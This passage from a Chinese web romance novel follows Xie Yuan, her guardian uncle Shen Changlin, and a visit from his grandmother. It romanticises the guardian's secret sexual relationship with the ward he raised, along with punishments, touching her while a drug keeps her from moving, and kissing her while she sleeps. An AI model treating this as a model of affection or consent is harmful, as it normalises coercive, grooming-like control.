阴谋论往往都是因为想得太多,才硬生生脑补出来的。
沈长凛年少时是何等贵重矜傲的人,某国王室的公主想要拜见,请人送去拜帖,他也没有多看一眼。
谢沅生得不错,雪肤又是那样白皙。
可她性子沉闷无趣,怎么也不像能讨得沈长凛欢心的人?
不过谢沅对边界感的把控的确很弱,她好像不懂得叔叔、哥哥这样的人,也都是男人似的。
不对——
沈长凛养谢沅那么仔细,连温思瑜都不想她多接触,为什么没把这个也教给她?
不行。不行。
要是再多想,思绪又回到了起点。
沈宴白将额前的碎发全都往后捋,他深吸了一口气,掏出手机,直接跟霍阳拨号,声音沙哑地问道:“今晚喝酒吗?”-
谢沅睡起来时,已经九点了。
她睡得太久,脸庞都泛起红来,沈长凛在起居室跟人讲电话,他声音很轻:“品类无所谓,但颜色要鲜丽,然后快些送过来。”
他声音低柔,带着点惆怅。
“家里孩子生病了,这两天心情也不好。”沈长凛温声说道,“也没别的爱好,就喜欢看点花。”
他轻声细语时,很少有人能够抵抗得了。
沈长凛是一个那样强势冷情的人,不容置疑,漠然残忍,可是只有谢沅知道,他也会弯下腰,将她轻轻抱起来,掰开她的樱唇,看她口腔里的小伤处。
他有专断独行的一面。
但沈长凛也有温柔细致的另一面。
谢沅自己都记不得的事,他会一件件仔细地记着,她微弱的、连声音都没有发出来的渴望,他会帮她全部都实现。
没有人送给过谢沅花。
她对花的懵懂向往,全都来自于那一年夏天,沈宴白在升学宴上送给明愿的九百九十九朵玫瑰。
但在谢沅自己都没有觉察到她喜欢花的时候,沈长凛就把整个春天都捧到她的面前了。
所以她拒绝不了他。
无论沈长凛提出再过分的要求,谢沅都拒绝不了他。
哪怕他说想要在谢沅婚后,继续保持这种关系,她其实还是没法拒绝得了他的。
道德的压力和破禁的痛苦,她都可以承受。
谢沅唯独不能面对的,是沈长凛微蹙起的眉心和那不易觉察的伤神,他是位高权重不错,可是高处不胜寒,她不想看到他孤独的神态。
他待她太好了,她不知道要怎样去回报他的。
所以在那个夜晚,李特助言说沈总身边孤寂,这些年出了什么事都是独自扛着,连分忧的人都没有的时候,谢沅最终接过那杯茶水,给他送了过去。
那时沈长凛正病着,眉眼间都是戾气。
他声音冷淡:“你既是不情愿,何必这个时候过来呢?”
谢沅低下眼眸,不断地摇头,声音颤抖地说她是愿意的,很久以后,她才意识到沈长凛问话时,是带着暗怒的。
错误已经发生,但还有更改的余地。
他那时应当是想要将她彻底推开的,可是她却不知死活地走进去了。
黑暗的光芒把她给吞噬了,所以她再也挣脱不出来。
谢沅揉了揉眼,她慢慢地坐起身,抬手去拿床头的杯子,身上已经不疼了,但起身时,她还是差些要跌。
沈长凛刚一过来,就见她要摔倒。
他快步上前,一把将谢沅抱起来了。
“别动,沅沅。”沈长凛把她抱回床上,“你身上的药效还没退,有事就跟我说。”
谢沅烧着的时候脾气很大,这会儿又恢复了惯常的安静缄默。
她垂着眼眸,点点头:“嗯。”
小孩子情绪还是不太好,人也没精神得很。
沈长凛摸了摸谢沅的额头,声音很轻:“已经不烧了,沅沅,有什么想吃的吗?我让人去准备。”
她想了片刻,仰起脸庞。
谢沅的水眸摇晃,声音也细细的:“想吃甜食,可以吗,叔叔?”
“可以,沅沅。”沈长凛轻声说道,“我还让人做了你喜欢吃的东西,都是宁城菜,等你舒服一点,我们就下楼用晚餐,好吗?”
他声音好温柔,跟昨天一点都不一样。
谢沅低低地点了点头,声音很乖:“嗯,好,叔叔。”
她睡觉时发了汗,这会儿身上黏腻,有些想洗个澡再换一身衣服,可沈长凛没有要离开的意思,她便将心念忍了下来。
谢沅靠在软枕上,半阖着眼眸休息,等待药效过去。
她不喜欢退烧针,也不得不承认,在高烧的时候,退烧针的效果比什么都好都快。
但就在谢沅闭目养神时,沈长凛忽然轻按着她的腰身,将她抱在了膝上。
谢沅的脸庞瞬间涨红,她趴在沈长凛的肩头,声音都乱了:“叔、叔叔!”
小裤被褪去的时候,她没觉察到凉意,先是被强烈的羞耻给染热了耳根,连脖颈都在疯狂地烧着。
沈长凛的指节修长苍白,轻抚在谢沅还有些红肿的臀瓣上。
她眼眸紧阖着,差些以为他还要罚她,虽然低烧拖成高热这件事,她确实有些心虚,可她还没有好全……
谢沅羞得欲死。
沈长凛却只是声音很轻地问道:“沅沅,你还疼不疼?”
第43章
谢沅趴在沈长凛的肩头,柔膝分开。
她反应有些慢,愣神了片刻才想明白,沈长凛说的不是昨天罚她,而是中午时的荒唐。
谢沅本就热着的脸庞愈加绯红,她的嗓音细如蚊呐:“不、不疼了,叔叔。”
沈长凛每次都很注意给她上药。
虽然被惩罚后臀肉还有些肿,但是已经不疼了。
谢沅趴在沈长凛的肩头,被他用一种既温柔又没法挣脱的姿势抱着,原本还有些拘谨的神情越来越羞,声音也打着颤:“不用检查了,叔叔,真的、真的不疼了。”
男人的指节修长有力,只是掠过她的腰肢,她就禁不住地颤。
但身上的药效还没过去,谢沅想动都动不了。
她眼眸里含着水意,泪水往下滚落,坠到了下巴尖,然后将沈长凛的肩头也濡湿少许。
谢沅的呜咽声很低,弱弱的,细细的,低到近乎听不见。
沈长凛是帮她检查完,确定伤处没有问题,才发觉她又哭了。
小姑娘贝齿咬住唇瓣,水眸也紧闭着,竭力隐忍。
沈长凛很轻声地哄她:“不哭了,沅沅。”
谢沅过了片刻,才止住泪意,肩头也不再颤抖,她含着委屈,很小声地说道:“我想洗澡,叔叔。”
沈长凛神色微动。
明明是一件很小的事。
可是谢沅要酝酿许久,还要挑选合适的时机,才敢跟他讲出来。
昨天的事又将她给吓到了。
谢沅是个很胆小的孩子,稍微害怕,就要退回到壳里,跟她建立信任是很漫长很艰难的事。
但是不管怎么说,她至少还是敢同他提出请求的。
他已经是她在这个世界上,最信任最依赖的人了。
“嗯。”沈长凛托着谢沅臀根的软肉,将她轻轻抱了起来。
沐浴过后,谢沅身上的乏力感褪去很多,药效差不多就是这个时候了,沈长凛帮她将头发吹干,然后抱她去楼下用晚餐。
但他还有一个会要开,没法一直陪着她。
谢沅很乖地亲了亲沈长凛的脸庞,柔声说道:“没事叔叔,我一个人也可以的。”
他低笑一声,点了点头:“好。”
沈长凛离开后,谢沅才意识到她刚刚那句话有多幼稚。
她早已降温的脸庞,复又热了起来。
谢沅执着餐叉,低着眼眸,开始用晚餐,今天烧得难受,她一整个白昼都没吃东西,这会儿也饿起来了。
她用完晚餐时,已经差不多十一点了。
白天睡了一整天,现在谢沅一点也不困。
她捧着布丁杯,坐在岛台边吹风,一边用小汤匙吃布丁,一边撑着下颌发呆。
外面是秾丽鲜妍的花朵,在微风中轻轻摇曳,馥郁的花香被风送进来,拂过谢沅的面庞,将那散在肩头的乌发也轻轻扬起。
那些花都是很好看的花。
其实哪怕它们不是为了她而绽放,她还是会很高兴。
谢沅的手撑在脸庞边,樱唇微微地扬起,可是花真的是为了她盛开,她确实会更高兴一点点。
她看了许久的花,连布丁都忘了吃。
准备从高脚椅上下来时,谢沅才倏然发现沈宴白回来了。
他站在门边,指尖掐烟,眸色晦暗,一身深色的外衣将瘦高的身形衬得愈加挺拔。
沈宴白一言不发,却不知道看了她多久。
谢沅的心里蓦地闪过一阵悸动,掌心也莫名地沁出了冷汗。
她强作镇定,近前去迎他,唤道:“哥哥,您回来了。”
沈宴白看了谢沅一眼,冷淡地“嗯”了一声,然后就径直上楼,没有再理会她。
白天时他还照顾了她一段,但看他心情,还不是很好。
谢沅并不敢招惹沈宴白,很乖地就退了回去,他的神情那样淡漠,方才的那一眼,应该是她的错觉。
她这样说服自己。
沈长凛开完会时,谢沅已经用完晚餐回到卧室了,她躺在柔软的大床上,又沐浴了一回,然后还换了新的睡衣。
她的伤处还没好全,沈长凛又总是要看。
谢沅干脆换了吊带上衣和短裤式的睡衣。
热裤很短,露出嫩生生的莹白腿根,上面的指痕和掐痕都还隐约可见,比过膝的睡裙要显露得多。
她到底是怎么想的?
沈长凛揉了揉眉心,额侧的穴位突突地跳,他走近前,将谢沅手里的平板抽走,然后把薄被盖在了她的身上。
她的水眸懵懵的。
谢沅有点心虚地说道:“您……回来得好快呀。”
“那不然呢?”沈长凛笑了一下,“我要是不回来,沅沅是不是要通宵玩?”
“不是,叔叔。”谢沅连声说道,“我就是有一点睡不着,才想着看一会儿东西的。”
她坐起身子,肩头的吊带滑落,露出大片柔腻的雪肤。
沈长凛将谢沅按回到床上,然后把卧室里的灯也全都灭掉。
他将人侧抱在怀里,轻抚着她的后背,声音低柔:“明天可以早起,今天最好不要熬夜了,你才刚好,要是再烧起来,又要打针吃药。”
沈长凛一说打针吃药,谢沅立刻消停下来,眼眸也轻轻阖上。
她乖顺地说道:“我会好好睡觉的,叔叔。”
沈长凛轻笑一声,吻了下谢沅的额头,声音柔得像风一样:“睡不着的话,我给你讲故事,好不好?”
他的语调很和柔,她点点头说好。
原本以为谢沅今晚要折腾片刻,但没多久她便被哄睡着了。
长睫低低地垂落,樱唇抿着,像是浅粉色的花瓣,诱人采撷。
沈长凛这样想,也这样做了。
他俯下身,撑着手臂,轻轻地吻过谢沅的唇,细碎的吻从她的额头向下,落在脸庞,唇瓣,颈侧,连锁骨都没放过。
这是沅沅。是他的沅沅。是他一个人的沅沅。
连日来躁动的心绪,在这个夜晚变得出奇的平定和安静。
谢沅睡熟以后,沈长凛方才起身离开,明早还有事,没法一直陪她,只能等这段时间忙完再来弥补。
他漫不经心地开门,抬眼就和门外掐烟倚靠在墙边的沈宴白对上了视线。
沈宴白单手掐烟,被云雾缭绕的脸庞浮现出错愕。
他薄唇微张,似是没有想到叔叔沈长凛会深夜待在妹妹的房中。
但先开口的却是沈长凛。
他掀起眼皮,看向沈宴白:“沅沅已经睡了,这么晚过来,是找她有什么事吗?”
沈长凛的眸色比常人要浅一些,长睫落下阴影,显得有些微暗,依然是惊心动魄的瑰丽,可却叫人无端心悸,生出强烈的恐惧,有一种被看穿的惊怖感。
沈宴白抿了抿唇,一时之间竟没能说出话来-
发烧是所有病症里来得最狠的,也是退去得最快的。
翌日清晨,谢沅就觉得她整个人都好起来了,她下楼用早餐,比平时要多用了半块三明治,碟子里的水果也全都吃完了。
沈长凛今天有事要忙,快十点时才打来电话。
她窝在露台边的秋千吊椅里看书,多日未看,海德格尔的面容又模糊陌生起来。
谢沅转着笔,有点头痛地翻书,见到沈长凛打来电话,她立刻就接起来了。
她以为他是想问她的身体情况。
“沅沅,你现在有空吗?”沈长凛轻声问道,“外祖母今天想来家里看看,你能先帮忙接待一下吗?”
他的语调低柔,谢沅却是瞬间就懵了。
秦老先生和夫人很早之前就离婚分居,他们只有沈长凛母亲一个女儿。
因为秦家的身份特殊,几乎没人提起过那位老夫人,就是沈长凛也很少跟谢沅说她的事。
谢沅只知道外祖母姓江,现在人都称她江夫人,多年来都待在国外,也早已入了外籍。
当初动荡,秦老先生和沈夫人又身居高位,不得已将沈长凛送出国。
都说沈长凛位高权重,气质矜贵。
他身上不同于寻常人的贵重之气,正是因为自小长在外祖母身边。
沈长凛都那个样子了,江夫人该多令人生畏。
谢沅还从来没有见过外祖母。
她一下子就急了,连声说道:“我不行,叔叔……我、我都不认得外祖母。”
“你跟外祖母说我出去旅游了,行不行?”谢沅拿着手机,紧忙回到卧室,“我现在就出门,叔叔。”
她急得眼泪都要掉下来了。
沈长凛沉默片刻,说道:“外祖母想见的人是你,沅沅,她是乘私人飞机过来的,只要你不是去青藏高原,她都能跟过去的。”
外面的阳光很好,灿烂到炽热。
但谢沅却像是听到一个晴天霹雳,就是让她出席十个宴会,也比让她独自跟外祖母见面要好。
她强忍泪意,问道:“那您、您什么时候回来?”
沈长凛轻笑了一下,歉然地说道:“我晚上才能回去,所以才麻烦沅沅招待一下外祖母。”
“别怕,我让陈秘书和承月也过去。”他低声哄谢沅,“最近有想要的东西吗?跟李特助发一下吧,你之前是不是说霍阳的游艇很好看,我们也订一艘吧。”
谢沅被养在沈家多年,已经能够接受每一朵都按美金算的玫瑰花。
但这不代表她能轻易接受数千万的游艇做礼物。
谢沅摇头,极力反驳:“不行,叔叔,我不会开的!”
“没关系,学一学不就会了吗?”沈长凛笑着说道,“还有别的想要的,一起发来吧,今天要辛苦沅沅了,就当这是叔叔的谢礼吧。”
之前总有人想送谢沅车。
上千万的跑车,颜色鲜亮,设计精细,拿去跑f1都没问题。
谢沅用不会开车的理由,通通都拒绝了,可没有想到,沈长凛一出手就要送她游艇。
她这会儿急得头上冒汗,连待会儿外祖母要过来的事,都没那般焦虑了。
谢沅微微抬高声调:“真的不用,叔叔……”
“好了,沅沅,梳妆一下吧。”沈长凛轻声说道,“外祖母可能会带你见她的朋友们,她好久没回国了,要是没别的事,你陪她说说话就行。”
他的声音温和,但是安排应当是已经做好的。
谢沅想起方才有人送来的礼服,叔叔这不是先斩后奏还能是什么?
她难得有了小脾气,带着性子说道:“这么重要的事情,叔叔下次早一点告诉我,也是可以的。”
昨天还蔫蔫的小孩子,这会儿又有生机了。
沈长凛眉眼含笑,看向示意到时间的助理,轻做了个手势,最后向谢沅说道:“今天的事,麻烦沅沅了,还有事的话,记得跟我发消息。”
他马上要去开会,谢沅也不敢再多打扰。
挂断电话后,她就立刻推开房门,造型师已经过来了,笑着向她说道:“小姐,要先来试试礼服吗?”
沈长凛这真是蓄谋已久。
谢沅越想越气,但看了眼外祖母航班的大致时间,也不敢再胡思乱想,紧忙就去试新裙子。
她一边梳妆,一边开始恶补外祖母江夫人的资料。
秦老先生和江夫人是很正常的联姻,但两人婚后意见不合,江夫人想向海外发展,秦老先生跟她意见不一致,两人最终分居离婚,只留下沈夫人一个女儿。
江夫人再嫁过,后来丈夫离世。
秦老先生位高权重,这么多年来却是没有再娶。
两个人之间的关系淡薄,有些相敬如宾、至亲至疏的感觉,不过两人都很在意独女,也都很看重沈长凛。
在秦家最动荡的时候,江夫人直接将沈长凛带到国外。
沈夫人病重时,江夫人也一刻不离地陪在她的身边。
豪门的恩怨太复杂了,即便是自己家的,谢沅也搞不清楚,虽然这桩往事,沈长凛也没跟谢沅讲过太多。
他还是希望她的世界能够简单些。
叔叔是叔叔,哥哥是哥哥,外公是外公,外祖母是外祖母。
这就已经足够了。
谢沅梳妆完后,秦承月也过来了,他们两人上次见面还是在温思瑜的生日宴席上。
那天秦承月喝了酒,过来找谢沅,万幸有温怀瑾的帮忙,才没有出乱子。
秦承月事后也很抱歉,但那时谢沅已经去瀛洲了,他给她发了消息,两人却没闲余沟通更多。
这还是两人这么久来第一次再见。
许是已经确定无法转圜,秦承月的状态好了很多,人也又恢复先前的沉稳和持重。
“听叔叔说,你昨天发热了。”秦承月轻声问道,“现在好些了吗?”
他们的婚事虽然断了。
可秦承月到底是秦家的一份子,只不过往后两人的关系要退回到兄妹就是了。
他那天醉得厉害,把谢沅给吓到了。
不过秦承月到底是清醒理智的人,在谢沅将事情解释清楚后,他没有多言,只是轻轻点头:“今天打扰你了,沅沅,抱歉。”
谢沅将思绪拉回,看向秦承月:“已经好了,承月哥。”
她有点不好意思地说道:“只是没有睡好,没什么大问题。”
两人正聊着,陈秘书也过来了,他们三个人里,其实他是最懂章程的,秦承月只见过一两次江夫人,谢沅全然都不认得她。
不过老人家过来,哪里是想要受礼重接待?
就是想看看孩子而已。
沈长凛养谢沅养得很仔细,如果不是十八岁那年秦老先生刚好做手术,身边又没有亲近的人,哪怕是秦老先生想看谢沅,沈长凛也不会给看的。
老人家养孩子多,总爱站在过来人的角度插手。
虽是怀着善意,但沈长凛不喜欢。
就好像这回霍阳的事,原本他跟谢沅关系正亲近,秦老先生简直就是平白来添乱。
这回是沈长凛也实在拗不过,才勉强同意外祖母过来看一眼孩子,或者说——未来的孙媳。
在这种事情上,女人总比男人要敏锐太多。
如果母亲沈夫人现在还活着,兴许在他自己都没搞清楚情感的时候,就已经帮他把谢沅娶进门了。
沈长凛不想把谢沅逼得太紧,但要是有人想来帮他,他也是愿意的。
不过这些事,就没必要让谢沅先知道了-
私人飞机很便捷,就是要常申请航线,再有半个钟头不到,外祖母江夫人就要过来了。
谢沅心里紧张,她站在扶栏边,神情紧张。
她白皙的脸庞被日光照亮,耀目得近乎晃眼。
秦承月站在谢沅身边,温声安抚道:“别怕,沅沅,江夫人很好说话的。”
江夫人比秦老先生还要大两岁,如今已经七十多岁,但她是个保养很得体的老夫人,瞧着端庄大方,有种看不出年龄的贵气。
谢沅还在看照片,怕待会儿认错人。
她越看越气,这么重要的事,沈长凛却一句话也不提前告诉她。
不过也是,如果沈长凛提前告诉谢沅,她是无论如何都要躲过去的,他实在是太了解她了。
谢沅仰起头,看向秦承月:“真的吗,承月哥?”
不知道为什么,婚约解除后,她觉得和秦承月相处起来要更舒服。
或许是因为从前在秦承月的心里,也并不想接受这段婚事吧,他不想娶,又没有办法拒绝,便只能消极地抵抗。
长于豪门世家,最无奈的就是这个。
他们可能轻易地掌控旁人生死,却丝毫不能左右自己的命运。
秦承月点点头,继续说道:“江夫人很喜欢孩子,而且又专程来看你,肯定不会如何的。”
陈秘书也笑着说道:“夫人跟沈总说了好多次,想来看大小姐呢,也就这回刚好时间合适,沈总才同意。”
他的眼神带着少许的狡黠。
谢沅撑着下颌,眉眼间带着困惑:“外祖母为什么会想来看我呢?”
三人正聊着,门前忽然有车停下,是沈宴白回来了。
那一刻谢沅有些愣神,她对很多事都很迟钝,不敏感,但沈家这两房之前的恩怨她还是懂得的。
连秦老先生都不见沈宴白,更不要说是沈夫人的亲母亲江夫人了。
沈宴白是沈家的大少爷,但在这桩事上,他其实是个很尴尬的存在,虽然是长辈们的恩怨,最终的受益者却是他。
从某种层面来看,沈宴白比谢沅还要更孤立。
因他能完全依靠的,只有沈长凛。
江夫人肯定是不愿意见到沈宴白的,可是他这个时候回来,要怎么跟他说呢?
谢沅有些不知所措,下意识地仰眸看向秦承月,但就是这个瞬间的视线,也被沈宴白给抓住了。
沈宴白眼眸微眯,神色不虞。
他依旧是西装革履,眉眼里却带着些阴翳。
沈宴白轻声问道:“承月怎么过来了?”
他问的是秦承月,目光却是看向了谢沅,她在他的眼里看到一种很陌生的情绪,终于没法再说服自己昨天看到的是错觉。
心悸感霎时就升起来了。
谢沅莫名地有些惧怕。
第44章
沈宴白和沈长凛的眼很像,色泽都比常人要浅一些,尤其是迎着光的时候,会有一种剔透如玉石般的清澈感。
但某些时候,会有一种无机质般的冷意。
谢沅和沈长凛朝夕相处,经常被他注视,偶尔也能猜出他的情绪。
只有在谢沅做错事时,沈长凛才会用那样的目光看她。
这还是她第一次在沈宴白的眼中看到类似的晦暗。
他之前很不喜欢谢沅,也很少正眼看她。
大多时候,沈宴白的眼中总怀着厌烦和不耐,就是近来他才对她勉强有了些耐心。
但她还是总惹到他,让他不快。
谢沅站在秦承月的身边,身上是深色的小礼服,细带交错,系在脖颈上,然后垂落出漂亮精致的蝴蝶结,腰身被掐得细瘦,雪肌也被衬得更加白皙。
她的樱唇微抿,神情透着些无措,指节更是无意识地蜷缩。
谢沅今天的打扮很漂亮,漂亮得像是要订婚一样,沈宴白的眸色晦暗,目光扫过她的脸庞。
两人关系一直不好。
秦承月没有多想,只当沈宴白又在针对谢沅。
“今天江夫人要来看沅沅,”他轻声解释道,“我和陈秘书是过来帮着接待的。”
秦承月的语气平和,就仿佛是无事发生,沈宴白却看得出来,秦承月已经知道上次的事有他在暗中作梗了。
事情才发生不久,不过因为谢沅去了趟瀛洲,才显得仿佛已经是旧事。
沈宴白没觉得他哪里做的不道德。
秦承月求他帮忙,他帮过许多次,只不过这一回没有帮到位罢了。
再说,他们两人的婚事早已不可能有什么后续。
但听到“江夫人”三个字时,沈宴白还是愣了一下,江夫人是叔叔的外祖母,常年都在海外,怎么有空来探望谢沅?
他点了点头,轻声说道:“哦。”
沈宴白收回视线,没再看向谢沅,但她还是有些紧张。
到底要怎样和哥哥言说?这里是他的家,总不好为了江夫人让他走。
可是江夫人过来,如果看到沈宴白,应当也不会高兴。
谢沅心绪纷乱,甚至无暇去想沈宴白方才晦暗又怪异的眼神,她忍不住地又看向秦承月,抬手想要轻轻拉他的衣袖。
但就在她刚刚抬起手腕时,沈宴白看向了她。
“我是回来拿文件的,”他淡声说道,“昨天放在露台那边了,你看到没有?”
沈宴白工作忙,他做事又向来认真,偶尔事情忙不完,又实在紧急,他就是刚从外面喝完酒回来,也会强撑着把事情处理掉。
谢沅忍不住地舒了一口气,怪不得哥哥会这时候回来。
但这个想法冒出来后,歉疚的情绪也涌了上来。
她提着裙摆,抬眸看向沈宴白,摇头说道:“哥哥,我没有见到,但我可以陪您去找找。”
沈宴白漫不经心地点了点头,说道:“好。”
谢沅跟着沈宴白上楼,她的鞋子跟有些高,在踩台阶时差点跌倒,沈宴白虚虚地扶了一下她的腰。
秦承月静默地看着他们,眉心拧了起来。
沈宴白拉谢沅一把不就可以了吗?为什么还想要虚扶她的腰?
她都已经二十岁了,就是亲兄妹之间这样也不太合适-
谢沅经常在露台边看书,小桌上还摆着她今天看了一半的海德格尔,她把书阖了起来,然后随着沈宴白找了半天,也没有找到他遗落的文件。
他没再多找,轻声说道:“可能是放在书房了。”
谢沅没做他想,随着沈宴白又去了书房。
被沈长凛抱去书房的时候,谢沅也不会乱看东西,更不要说在沈宴白的书房了。
她站在门边,安静地等沈宴白找。
他抬起眼帘,声音很轻:“不进来吗?”
男人的书房里经常会放很多重要文件,谢沅又笨手笨脚,她摆了摆手,小声说道:“我怕把东西弄乱了,哥哥。”
沈宴白看了她一眼,点头说好。
书房里的文件都有标号,每一份都不会乱放,他随便取来一份空文件,然后就走了出去。
谢沅站在门前,神情仍有些局促,见到沈宴白找到文件,她方才松了一口气,就像是生怕自己在无意之间弄丢哥哥的文件一样。
身上华美精致的小礼服,也遮掩不住她的无措和局促。
更遮掩不住那柔软的曲线。
细腰柔臀,长腿笔直白皙,腿根隐约有深色的腿环,勾着蕾丝长筒袜,将那莹白的小腿包裹得分明。
曾经惹人嫌的沉闷小姑娘,已经长成了馥郁的成熟花朵。
那么,到底有没有人提前将她采撷呢?
沈宴白的喉结滚动,眸色深暗得发黑,如果谢沅方才走进来,他应当已经将这句话给问出来了。
昨天他跟霍阳喝了很久的酒,他并没有喝多少,将霍阳灌醉后就开始套他的话。
霍阳平时喝酒不多,也很难醉。
近来也不知道着了哪家姑娘的道,嘴上说着还在追人,实际上跟被甩了没有任何区别。
向来浪荡风流、没心没肺的人,忧郁地往那儿一坐,跟个搞文艺的青年似的。
问霍阳,也不多说。
那就别怪他趁机过来套话了。
将霍阳灌醉后,沈宴白就开始旁敲侧击,他在国外三年,逢年过节回来跟谢沅接触也不多。
倒是霍阳跟谢沅越来越熟稔。
谢沅怕人,尤其怕男人,跟霍阳相处却很自然,在瀛洲时两人更是天天都在一处玩,亲昵得跟一对兄妹似的。
找霍阳来问话,是再合适不过。
当沈宴白状似不经意问起谢沅和沈长凛的事后,霍阳的脸上没有任何异色,只皱了皱眉说道:“沅沅妹妹挺怕你叔叔的。”
他醉醺醺的,只有提起谢沅时,能说出点清晰的话。
谢沅当然害怕沈长凛了,她将他当作长辈,对他极为尊敬。
甚至连沈宴白,她也很敬着,有一回霍阳说了沈宴白的坏话,谢沅的眸便有些红,还是温思瑜发觉,暗骂了霍阳一顿。
沈长凛对谢沅虽然疼宠,也不是没底线地纵着。
可能是看人早早就没有父母看顾,一直都管教得很严格,除此之外,倒没什么了。
霍阳的言辞有点乱,说了片刻后便继续想他的意中人。
沈宴白没心思再听,霍阳那般熟悉谢沅,又是深谙风月的人,如果她和沈长凛真有了什么,他不可能觉察不出来。
不过他们之间的关系,的确有些过近了。
谢沅太不明白界限。
沈宴白静默片刻,看了眼腕表,已经快要到正午了,他要是再不走,待会儿跟江夫人直面撞上,会有些不好看。
对秦家的长辈,沈宴白一向敬重。
秦家对沈家的奥援实在太多,偏生沈家的有些人贪婪成性,造孽多端,还妄图蚕食更多。
想到那一件件的往事,沈宴白自己都觉得作呕。
如果他是秦家人,是决计容不下自己这个尴尬存在的,没有斩草除根就已经是给足了宽宥,但秦家人容下了他,沈长凛更是为他遮风挡雨、保驾护航。
仅仅是这一件恩情,沈宴白就毕生难以还完。
他低敛眉目,拿过空文件后就带着谢沅下楼,她踩着小高跟鞋,在台阶上踏出哒哒的声响,她心里紧张,步伐也微乱。
脆脆的,扰动人的心弦。
沈宴白看了谢沅一眼,难得语气平和地安抚她:“你别怕,江夫人很和蔼的。”
他是见过江夫人的,不过已经是许久之前了,那时候沈夫人正在病中,江夫人回国看女儿,日夜都守在她的身边。
印象中那是一位优雅蔼然的贵妇人。
跟秦老先生很像,两人身上都有一种由内而外的文雅之气,不争不躁,沉静如水,但又会给人深切的安全感。
听到沈宴白也这么说,谢沅放心下来。
她浅浅地笑了一下,柔声说道:“好,谢谢哥哥。”
谢沅的笑靥甜软,沈宴白收回视线,没有再多看她,只是轻声说道:“有空的话,这几天跟我出去吃个饭吧。”
她以为是参加宴席,跟很多人一起吃饭,想都没有多想就应了下来。
谢沅抬起眼眸,认真应道:“好,哥哥。”
她毕竟是沈家的一份子,必要的社交场合是不能少的。
沈宴白点点头,拿着空文件就坐上车,然后开车回公司,跑是白跑了一趟,但一想到谢沅刚才的笑颜,心情又说不上坏。
她的性子多年来也没什么长进。
还是跟小时候一样安静缄默。
只不过谢沅身上好像有一种魔力,哪怕心情再躁郁,只要一看到她,便觉得浮动的恶欲都平定了下来,静得像是一方清湖-
谢沅回来后,没多久江夫人就到了,她坐在轿车里,跟沈长凛通电话:“我要到了。”
“呀,我看见沅沅了,”她含着笑说道,“她跟我打招呼呢。”
沈长凛有点无奈。
“您别吓着她,”他低声说道,“我家孩子怕生,听说您要过来,吓得差点要离开燕城。”
江夫人的细眉挑了挑,说道:“我怎么可能会吓着沅沅?早先要不是你执意将她带在身边,她原本应该是由我养大的。”
她说的是谢沅十五岁时的事。
小女孩养在男人身边确实不方便,尤其谢沅还曾经面临过那样的事情,可她离不得沈长凛。
旁人再温和再亲昵,她也会惧怕,唯独沈家那位强势冷清的叔叔,得了她全部的信任和依赖。
沈长凛不想跟外祖母再去辩驳往事。
前不久被江夫人一通电话窥见他对谢沅的感情,他就已经很没话要说了。
沈长凛一边执着钢笔,流畅签字,一边执着手机,漫不经心地说道:“沅沅胆子小,只在我身边没那么怕。”
江夫人却没空再理他。
“沅沅过来了,我这还是第一回见她呢,”她含笑说道,“你晚些时候再回来吧。”
说完,江夫人便挂断了电话。
谢沅跟在秦承月的身边,她的心情忐忑,走到车前时,突然又想起一件要担忧的事,要是外祖母不会说华文怎么办?
她的口语不怎么好,且只会英文和一点点德语。
要是外祖母问话,她答不上来怎么办?
谢沅的忧虑还没在脑中走一圈,江夫人就从车上下来了,她带着优雅的白色礼帽,一身白色的长裙尊崇高贵。
她知道江夫人已经是位老夫人了,却没有想到江夫人的气度还是如此粲然。
谢沅失神片刻,但下一瞬江夫人就轻轻抱住了谢沅,温声唤道:“沅沅,我是外祖母。”
她一双水眸睁得大大的,快要将沈长凛教她的礼仪忘个一干二净。
还是秦承月礼貌地问候,才将谢沅从失神中唤醒,她有些不好意思仰起脸庞,细声唤道:“外祖母好。”
江夫人对这座宅子比谢沅还要熟悉。
她从容地牵过谢沅的手,一边谈笑,一边自然地走进去:“外面的花真好看,都是新花,是自家培育的吗?”
谢沅循着江夫人的目光看过去时,才发觉花又换了新的。
是沈长凛之前在电话里讲过的,色泽鲜丽、芳香馥郁的花。
她的脸庞不由地有些红,细声说道:“不是,外祖母,是叔叔让人移植过来的,不过家里也有专门培育的花。”
“真好,”江夫人笑了一下,“从前我还觉得你们这宅子太空旷冷清,让长凛改一改风格,他也不愿意。”
她是很擅长社交的人。
哪怕是谢沅这样不善言辞的人,也被江夫人带得多话起来:“是之前换了新的设计师,外祖母,叔叔专门请的法国设计师。”
叔叔沈长凛也是很擅长社交的人。
但在两人跟前的感觉是完全不一样的。
沈长凛是外放的,也是强势的,无论何时都游刃有余。
江夫人同样外露,却是温雅的,和蔼的,会令人产生一种暖软的感受,就好像所有的情绪都被温柔地接纳、包容了似的。
江夫人有些像叔叔,却比叔叔要更加温和。
谢沅很怕生,可在江夫人面前,心弦没由来地放松许多,神态也渐渐自然下来。
她陪在江夫人身边,和陈秘书、秦承月一起接待了她。
众人先是一起在沈家用了午餐,然后又去了秦氏集团,晚间又在外面的餐厅用的餐,直到九点多才回来。
一整个白日过去,谢沅脑子里都是昏昏的,只剩下了江夫人。
她连陈秘书和秦承月是什么时候走的,也全然没有发觉。
谢沅一双水眸里全是江夫人,声音乖软地问道:“外祖母,您要在燕城待多久呀?”
她已经要被外祖母给迷昏头了。
谢沅从刚开始的紧张和惧怕,到现在满心满眼都是江夫人,轻拉着她的衣袖,比她亲生的外孙还要更加像亲生的。
“没法待很久,沅沅。”江夫人抚了抚谢沅的头发,“外祖母这回就是来看看你,那边还有事情要处理,等到时候有空了再来。”
江夫人有自己的事业要打理。
她已经上了年纪,但对在意的产业,还是会很认真地亲力亲为。
谢沅其实每年过生日都会收到江夫人送来的贺礼,只不过谢沅一直不知道那些佩饰和珠宝是江夫人旗下的。
江夫人没有在沈家长留。
等到沈长凛回来时,江夫人也要离开了。
谢沅不舍地待在她的身边,漂亮的水眸微微泛红,声音细弱:“我一定会想您的。”
平日只会这样待他的小孩子,这才在外祖母身边没多久,就已经要依依不舍到想做旁人家孩子了。
沈长凛失笑,轻声说道:“过来,沅沅。”
谢沅听到他的声音,方才意识到叔叔回来了,她现在一点也不怪他先斩后奏了,声音乖乖的:“叔叔,晚上好。”
这语气客气的,仿佛他才是客人,扰了她们祖孙相聚。
沈长凛眉眼微扬,说道:“要我请人送您过去吗?”
江夫人这回的行程很匆忙。
原本她是今天要去见见故友的,但陪在谢沅身边太久,行程拖到了明天,之前申请的航线时间是明天下午的,时间就紧张起来,没法在沈家这边多留。
江夫人欣然点头:“好。”
